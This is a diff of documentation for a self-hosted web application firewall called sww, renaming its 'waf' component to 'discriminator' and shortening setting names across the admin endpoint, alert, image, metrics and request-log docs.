- The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again: `reputation.json` and `alerts.json`. Each is written whole, to a temporary file
- `bans.json`; renamed over the real one, so a crash leaves a complete file. `discriminator`
- `clients.json`; notices a file edited on disk and takes the edit in; an edit that does not parse
- `abuseipdb-checks-spent.json`; is set aside as `<name>.bad`, and never stops the running process (see
- `alerts.json`. [`docs/state-files.md`](docs/state-files.md)).
- The cache files, in `SWW_WAF_CACHE_DIR`, hold answers from outside services:
- `lookups.json`, from GeoJS;
- `lists.json`, the lists fetched by URL;
- `dnsbl.json`, from the DNS blocklists;
- `abuseipdb-scores.json`, from AbuseIPDB;
- `routewatch.json`, from routewatch.
Back up the state directory. The cache directory can be left out of backups: a
lost cache file starts empty and fills again.
Each file is written whole, to a temporary file renamed over the real one, so a
crash leaves a complete file. `waf` notices a file edited on disk and takes the
edit in. An edit that does not parse is set aside as `<name>.bad`, and never
stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
### The image and its processes ### The image and its processes
@@ -659,19 +632,20 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the `Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
same package each time it is built (see [`docs/image.md`](docs/image.md)). same package each time it is built (see [`docs/image.md`](docs/image.md)).
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532) - runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
and starts it again when it exits. The `run` script of `waf` gives the state and starts it again when it exits. The `run` script of `discriminator` gives
directory to the `sww` user at each start, so a volume needs no change of the state directory to the `sww` user at each start, so a volume needs no
owner. It makes the cache directory for that user too. change of owner.
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under - `rproxy` and `discriminator` use no token between them. `discriminator`'s own
`/_sww/`, are for your admin tools and your metrics collector, at its own endpoints, under `/_sww/`, are for your admin tools and your metrics
address on the private network; nothing routes the internet there. collector, at its own address on the private network; nothing routes the
internet there.
- `docker stop` gives requests in progress five seconds to finish. With `rproxy` - `docker stop` gives requests in progress five seconds to finish. With `rproxy`
in the app's container, the app must keep answering for five seconds after in the app's container, the app must keep answering for five seconds after
`SIGTERM` for that to help them. `SIGTERM` for that to help them.
- Only faults found at start stop a process: an invalid setting, a rule file or - Only faults found at start stop a process: an invalid setting, a rule file or
state file that does not parse, a lookup database that cannot be read, or an state file that does not parse, a lookup database that cannot be read, or an
address it cannot listen on. Once running, a failing lookup service, address it cannot listen on. Once running, a failing lookup service,
reputation source or alert destination never takes `waf` down. reputation source or alert destination never takes `discriminator` down.
### Packages ### Packages
@@ -679,15 +653,15 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
- `internal/sww`: the process, as the command it is given, and the health check. - `internal/sww`: the process, as the command it is given, and the health check.
- `internal/config`: reads the settings, the one place they are read. - `internal/config`: reads the settings, the one place they are read.
- `internal/rproxy`: the reverse proxy in front of one app. - `internal/rproxy`: the reverse proxy in front of one app.
- `internal/waf`: `waf`'s server, which runs the checks and answers its own - `internal/discriminator`: `discriminator`'s server, which runs the checks and
endpoints. answers its own endpoints.
- `internal/ratelimit`, `internal/bans`, `internal/rules`, - `internal/ratelimit`, `internal/bans`, `internal/rules`,
`internal/coreruleset`, `internal/lookup`, `internal/reputation`, `internal/coreruleset`, `internal/lookup`, `internal/reputation`,
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
source each. source each.
- `internal/state`, `internal/requestlog`, `internal/remotelog` and - `internal/state`, `internal/requestlog`, `internal/remotelog` and
`internal/metrics`: the state and cache files, the log lines, the syslog `internal/metrics`: the state files, the log lines, the syslog sender and the
sender and the metrics. metrics.
## Rationale ## Rationale
@@ -721,8 +695,7 @@ on the host.
- `script/bootstrap`: installs on the host what the other scripts need, with - `script/bootstrap`: installs on the host what the other scripts need, with
`make bootstrap`: `make bootstrap`:
- `make`, `git` and `curl`; - `make`, `git` and `curl`;
- Go, for `gofmt` and to build `golines`; - Go, for `gofmt`;
- `golines`, at a pinned version, with `go install`;
- node, yarn and prettier. - node, yarn and prettier.
- `script/setup`: readies a fresh clone: `script/bootstrap`, then - `script/setup`: readies a fresh clone: `script/bootstrap`, then
`script/install-precommit`. `make setup`. `script/install-precommit`. `make setup`.
@@ -739,11 +712,8 @@ on the host.
the `tidy` stage of the `Dockerfile`. `make tidy`. the `tidy` stage of the `Dockerfile`. `make tidy`.
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
`make lint`. `make lint`.
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and - `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
the Markdown with prettier. `make fmt`. `make fmt`.
- `golines` wraps code at 77 columns but leaves comments and strings alone.
Wrap those by hand.
- The linter fails only lines longer than 88 columns.
- `script/fmt-check`: checks the formatting and changes nothing. - `script/fmt-check`: checks the formatting and changes nothing.
`make fmt-check`. `make fmt-check`.
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
@@ -764,26 +734,25 @@ on the host.
- `script/precommit`: run by the git pre-commit hook; runs `script/check`. - `script/precommit`: run by the git pre-commit hook; runs `script/check`.
- `script/install-precommit`: installs that hook. `make hooks`. - `script/install-precommit`: installs that hook. `make hooks`.
- `script/build`: builds `bin/sww` with the Go on your host. `make build`. - `script/build`: builds `bin/sww` with the Go on your host. `make build`.
- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with - `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
the settings in your environment. `make run`. Unless your settings say host, with the settings in your environment. `make run`. Unless your settings
otherwise: say otherwise:
- `rproxy` listens on port 8080, in front of an app at - `rproxy` listens on port 8080, in front of an app at
`http://127.0.0.1:8081`; `http://127.0.0.1:8081`;
- `waf` listens on port 8090; - `discriminator` listens on port 8090;
- its state files go in `bin/state`; - its state files go in `bin/state`;
- its cache files go in `bin/cache`;
- its rule files are those of `share/rules.d`. - its rule files are those of `share/rules.d`.
- `script/example-app`: builds the image and the example app - `script/example-app`: builds the image and the example app
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and (`deploy/example-app`) on it, runs the app with `rproxy` in its container and
`waf` in another, and checks them. Then it removes the containers, the `discriminator` in another, and checks them. Then it removes the containers,
network, the volumes and the images. Needs network access. `make example-app`. the network, the volumes and the images. Needs network access.
It checks: `make example-app`. It checks:
- the health checks; - the health checks;
- a request passed to the app; - a request passed to the app;
- a ban for a broken limit, and a ban for a probe made permanent; - a ban for a broken limit, and a ban for a probe made permanent;
- that only `waf`'s container changes the state directory's owner; - that only `discriminator`'s container changes the state directory's owner;
- with `waf` stopped, the app still answering through `rproxy`; - with `discriminator` stopped, the app still answering through `rproxy`;
- with `waf` started again, bans applying again; - with `discriminator` started again, bans applying again;
- orderly stops with `sv stop` and `docker stop`; - orderly stops with `sv stop` and `docker stop`;
- bans surviving a new container on the same volume; - bans surviving a new container on the same volume;
- a setting given as a file. - a setting given as a file.
@@ -808,8 +777,8 @@ on the host.
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
gets. gets.
- [`docs/metrics.md`](docs/metrics.md): the metrics. - [`docs/metrics.md`](docs/metrics.md): the metrics.
- [`docs/state-files.md`](docs/state-files.md): the state and cache files and - [`docs/state-files.md`](docs/state-files.md): the state files and what each
what each holds. holds.
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned. - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
## License ## License
+1379 -1688
View File
File diff suppressed because it is too large. Load diff
+2 -2
View File
@@ -1,6 +1,6 @@
// Command sww is a web application firewall. `sww rproxy` is the reverse // Command sww is a web application firewall. `sww rproxy` is the reverse
// proxy in front of one app, which asks waf about each request. // proxy in front of one app, which asks discriminator about each request.
// `sww waf` decides, for many sites, and keeps what lasts. `sww // `sww discriminator` decides, for many sites, and keeps what lasts. `sww
// healthcheck` is the container's health check. Everything it does is in // healthcheck` is the container's health check. Everything it does is in
// internal/sww. // internal/sww.
package main package main
+22 -22
View File
@@ -1,29 +1,29 @@
# Admin endpoints # Admin endpoints
The endpoints under `/_sww/`, what each takes and what each answers. `sww waf` The endpoints under `/_sww/`, what each takes and what each answers.
answers them at its own address, on the private network. "Admin endpoints" in `sww discriminator` answers them at its own address, on the private network.
[`SPEC.md`](../SPEC.md) says how their tokens work. "Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_sww/healthz`: `200` and `ok`, to anyone. - `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see - `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)). [`metrics.md`](metrics.md)).
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it. - `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below. Needs `SWW_ADMIN_TOKEN`, as do the three below.
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`, - `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`duration` and, if you like, `reason`. `netblock` is a netblock such as `duration` and, if you like, `reason`. `netblock` is a netblock such as
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration (`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
what is wrong: wrong:
- one that is not such an object, or has another field; - one that is not such an object, or has another field;
- one longer than 4 KiB; - one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone. - one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address - `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
`<client>`. It answers `404` when none is active. `<client>`. It answers `404` when none is active.
- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its - `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
counters and history as `clients.json` holds them, or `null` when `client`, its counters and history as `clients.json` holds them, or `null`
`clients.json` does not hold it. Under `bans`, every ban covering the address, when `clients.json` does not hold it. Under `bans`, every ban covering the
with its notes. address, with its notes.
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers - `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
`204`, or `400` to a body that is no report (see "The report" in `204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
@@ -32,29 +32,29 @@ No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path. endpoint whose token is unset answers `404`, as does any other path.
`sww rproxy` answers only the health check of these, at its own address. It asks `sww rproxy` answers only the health check of these, at its own address. It asks
`waf` about any other request under `/_sww/`. One that passes the checks is `discriminator` about any other request under `/_sww/`. One that passes the
answered `404`, so that the app never sees that prefix (see "`rproxy`" in checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
[`SPEC.md`](../SPEC.md)). in [`SPEC.md`](../SPEC.md)).
## Examples ## Examples
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
`waf:8080` on its network: as `discriminator:8080` on its network:
```sh ```sh
# Every ban. # Every ban.
curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
# Ban 203.0.113.0/24 for seven days. # Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \ --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://waf:8080/_sww/bans http://discriminator:8080/_sww/bans
# Lift the bans on 203.0.113.9. # Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \ curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://waf:8080/_sww/bans/203.0.113.9 http://discriminator:8080/_sww/bans/203.0.113.9
# What waf knows of 203.0.113.9. # What discriminator knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
http://waf:8080/_sww/clients/203.0.113.9 http://discriminator:8080/_sww/clients/203.0.113.9
``` ```
+12 -12
View File
@@ -6,7 +6,7 @@ back or dropped.
## Events ## Events
- `ban`: a ban `waf` made. - `ban`: a ban `discriminator` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request. a request.
- `core_rule_set_match`: the Core Rule Set scored a request at or over the - `core_rule_set_match`: the Core Rule Set scored a request at or over the
@@ -23,8 +23,7 @@ back or dropped.
- the day's AbuseIPDB checks used up. - the day's AbuseIPDB checks used up.
- `file_error`: one of: - `file_error`: one of:
- a rule file or state file edit with an error; - a rule file or state file edit with an error;
- a cache file that does not parse, at start or after an edit; - a state file that cannot be written;
- a state file or cache file that cannot be written;
- a replacement lookup database that cannot be read. - a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back. - `summary`: the hourly summary of alerts held back.
@@ -35,7 +34,7 @@ on one line:
```json ```json
{ {
"instance": "fsn1/waf", "instance": "fsn1/discriminator",
"time": "2026-10-06T12:00:50.123461Z", "time": "2026-10-06T12:00:50.123461Z",
"event": "ban", "event": "ban",
"host": "app.example", "host": "app.example",
@@ -78,10 +77,11 @@ on one line:
} }
``` ```
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised. - `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
`event`: one of the events above. one of the events above.
- `host`: the site of the request that raised the alert, since one `waf` serves - `host`: the site of the request that raised the alert, since one
many sites. It is left out of `source_failure`, `file_error` and `summary`. `discriminator` serves many sites. It is left out of `source_failure`,
`file_error` and `summary`.
- `client`: the address whose request raised the alert. Empty for - `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`. `source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
@@ -111,8 +111,8 @@ on one line:
## Slack and ntfy ## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
for each of these that the alert has: one line for each of these that the alert has:
- the host, the client, the netblock and the country; - the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`; - the file, the source, the error and the mode from `detail`;
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers: escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title; - `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while - `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
`SWW_WAF_ALERT_NTFY_TOKEN` is set; is set;
- `Priority` and `Tags`: by event, as listed below. - `Priority` and `Tags`: by event, as listed below.
The priority and tag by event: The priority and tag by event:
+5 -6
View File
@@ -1,9 +1,9 @@
# What the image holds # What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that "Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
way. is pinned that way.
## Contents ## Contents
@@ -18,9 +18,8 @@ way.
- The `sww` binary, and the user `sww` (uid and gid 65532). - The `sww` binary, and the user `sww` (uid and gid 65532).
- The service directory `/etc/service/sww`, with the `run` script - The service directory `/etc/service/sww`, with the `run` script
`share/sww.run`. `share/sww.run`.
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the - `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
default rule file `share/rules.d/00-default.rules`. The `run` script makes the default rule file `share/rules.d/00-default.rules`.
`SWW_WAF_STATE_DIR` when it is missing.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`. - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
## Pins ## Pins
+10 -11
View File
@@ -1,12 +1,12 @@
# The metrics # The metrics
What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps "Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
the `instance` label as `exported_instance` unless the scrape sets keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics. `honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says. body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
## Traffic ## Traffic
@@ -15,7 +15,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as - `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
histograms; histograms;
- `sww_requests_in_flight`: the questions and requests to its own endpoints that - `sww_requests_in_flight`: the questions and requests to its own endpoints that
`waf` is handling. `discriminator` is handling.
## Limits and bans ## Limits and bans
@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
## Countries and AS numbers ## Countries and AS numbers
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`, - `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
@@ -59,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
- `sww_reputation_last_fetch_timestamp_seconds`, for a list; - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB. - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
## State and cache files ## State files
By `file`, the name of a state or cache file: By `file`:
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`, - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`; `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
@@ -79,8 +78,8 @@ By `file`, the name of a state or cache file:
## When a request is counted ## When a request is counted
`waf` counts a denied request at its decision, and a request to its own `discriminator` counts a denied request at its decision, and a request to its
endpoints when it is answered. It counts an allowed request when its report own endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted: comes, with the status, bytes and times the report gives. These are not counted:
- a report itself; - a report itself;
+52 -53
View File
@@ -1,32 +1,32 @@
# The request log's fields # The request log's fields
The fields of the JSON objects `rproxy` and `waf` write about each request. The fields of the JSON objects `rproxy` and `discriminator` write about each
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
written and how the log is sent to a syslog server. A field that does not apply is written and how the log is sent to a syslog server. A field that does not
to a request is left out. apply to a request is left out.
## `waf`'s lines ## `discriminator`'s lines
`sww waf` writes two lines for each question it answers, joined by `request_id`. `sww discriminator` writes two lines for each question it answers, joined by
The field `waf_line` says which of the two a line is: `request_id`. The field `discriminator_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question; - `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything - `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended. known. The repetition is intended.
A request to its own endpoints writes one line, without `waf_line`. A report A request to its own endpoints writes one line, without `discriminator_line`. A
writes no line but the `report` line of the request it names. report writes no line but the `report` line of the request it names.
These questions write no line: These questions write no line:
- a question refused with `400` (see "The question" under "`waf`" in - a question refused with `400` (see "The question" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)); [`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer. - a question whose body stopped arriving, which gets no answer.
A `report` line: A `report` line:
``` ```
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104} {"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
``` ```
### Every line ### Every line
@@ -41,9 +41,10 @@ Every one of these lines has:
### Standard web log fields ### Standard web log fields
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds, - `time`: when `discriminator` had read the question's body, RFC 3339 with
in UTC. The `report` line gives the same time as the `decision` line. milliseconds, in UTC. The `report` line gives the same time as the `decision`
- `instance`: `SWW_WAF_INSTANCE_NAME`. line.
- `instance`: `SWW_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out. - `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request. - `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of - `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
@@ -51,8 +52,9 @@ Every one of these lines has:
- `host`: the site the visitor asked for. - `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`. - `protocol`: the question's own, `HTTP/1.1`.
- `status`: - `status`:
- on the `decision` line, what `waf` answered: `200` for `allow`, the status - on the `decision` line, what `discriminator` answered: `200` for `allow`,
of `deny`, or `0` for `close`, as the visitor is then sent nothing; the status of `deny`, or `0` for `close`, as the visitor is then sent
nothing;
- on the `report` line, what the visitor got, `0` if nothing. - on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`: - `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set - on the `decision` line, how much of the question's body the Core Rule Set
@@ -60,7 +62,7 @@ Every one of these lines has:
- on the `report` line, the bytes of the visitor's body that `rproxy` read, - on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor. with what a WebSocket carried from the visitor.
- `response_bytes`: - `response_bytes`:
- on the `decision` line, the body of `waf`'s answer; - on the `decision` line, the body of `discriminator`'s answer;
- on the `report` line, the bytes of the answer's body, with what a - on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app. WebSocket carried from the app.
- `referer` and `user_agent`. - `referer` and `user_agent`.
@@ -77,25 +79,25 @@ Every one of these lines has:
- lookups are off; - lookups are off;
- the client is not looked up; - the client is not looked up;
- the source cannot place the client; - the source cannot place the client;
- GeoJS had not answered by the time `waf` answered. - GeoJS had not answered by the time `discriminator` answered.
- `content_type`: the visitor's `Content-Type`. - `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced. - `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by - `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
name in lower case. lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers. - `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged. Their values are never logged.
### Response detail ### Response detail
- `response_content_type`: the type of `waf`'s own answer. - `response_content_type`: the type of `discriminator`'s own answer.
- `aborted`: true when `rproxy` went away before the answer. - `aborted`: true when `rproxy` went away before the answer.
### Decision ### Decision
- `action`: what was done: - `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app; - `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source - `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`; the action `deny`, or for a tag in `SWW_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban` - `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule, a trap path or a CrowdSec decision that made such a ban; rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a - `permanently_banned`: refused under a ban that never runs out, including a
@@ -103,8 +105,8 @@ Every one of these lines has:
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
`blocked_by_core_rule_set`: refused by that check; `blocked_by_core_rule_set`: refused by that check;
- `request_header_too_large`: over a header limit; - `request_header_too_large`: over a header limit;
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a - `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
path under `/_sww/`. `404` for a path under `/_sww/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a - `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally request it would have refused. `action` then names what was done, normally
`forward`. `forward`.
@@ -112,27 +114,26 @@ Every one of these lines has:
is left out when none did. is left out when none did.
- `heuristic_figures`: an object of the figures that heuristic acted on. Each - `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures: heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is - `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`; - `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it; - `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries; - `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client; - `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the - `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends; decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys - `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked; masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`; - `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`; - `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for; - `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it; - `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`; - `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`, - `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`; - `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes. - `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf` - `after_answer_heuristic`: the heuristic that banned the client after
